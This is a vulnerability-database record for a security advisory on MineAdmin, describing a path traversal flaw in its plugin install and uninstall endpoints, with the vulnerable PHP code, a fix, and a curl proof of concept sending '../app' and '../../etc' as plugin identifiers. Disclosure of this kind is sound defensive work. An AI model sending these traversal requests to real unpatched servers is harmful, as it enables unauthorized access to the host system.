{"id":"CVE-2026-55224","aliases":["GHSA-59xm-4m8c-g3xj"],"title":"MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall","summary":"MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall","severity":"high","cwe":["CWE-22"],"vendor":"mineadmin","product":"mineadmin/mineadmin","ecosystem":"composer","affected":["mineadmin/mineadmin < 3.2.0-alpha.2"],"patched":["mineadmin/mineadmin 3.2.0-alpha.2"],"published":"2026-08-18","updated":"2026-08-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-59xm-4m8c-g3xj","references":[{"url":"https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj"},{"url":"https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1"},{"url":"https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"},{"url":"https://github.com/advisories/GHSA-59xm-4m8c-g3xj"}],"tags":["ghsa","composer","exploit-available"],"ingestedAt":"2026-08-18T21:23:00.103Z","exploits":{"nuclei":["CVE-2026-55224"],"checkedAt":"2026-09-08T15:36:52.031Z"},"exploitAvailable":true,"slug":"CVE-2026-55224","body":"## Overview\n\n## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n    if (empty($params['identifier']) || empty($params['version'])) {\n        $this->throwParamsFail();\n    }\n    $service = make(AppStoreServiceImpl::class);\n    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal\n        $result = $service->download($params['identifier'], $params['version']);\n        // ...\n    }\n    return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    if (file_exists($path . '/install.lock')) {\n        $this->throwAppInstalled();\n    }\n    Plugin::install($params['identifier']);  // May run composer commands with traversal path\n    return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall\n    return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: 'admin/plugin/store')]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../app\", \"version\": \"1.0.0\"}'\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}'\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.\n\n## Affected packages\n\n- `mineadmin/mineadmin < 3.2.0-alpha.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `mineadmin/mineadmin 3.2.0-alpha.2`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":12,"ransomware":0},"changes":[{"seq":5349,"id":"CVE-2026-55224","ts":1788887269823,"field":"exploit_available","old":"false","new":"true"},{"seq":4232,"id":"CVE-2026-55224","ts":1788886384690,"field":"exploit_available","old":"true","new":"false"},{"seq":2988,"id":"CVE-2026-55224","ts":1788883048353,"field":"exploit_available","old":"false","new":"true"},{"seq":2017,"id":"CVE-2026-55224","ts":1788882452767,"field":"exploit_available","old":"true","new":"false"},{"seq":1093,"id":"CVE-2026-55224","ts":1788881889631,"field":"exploit_available","old":"false","new":"true"}]}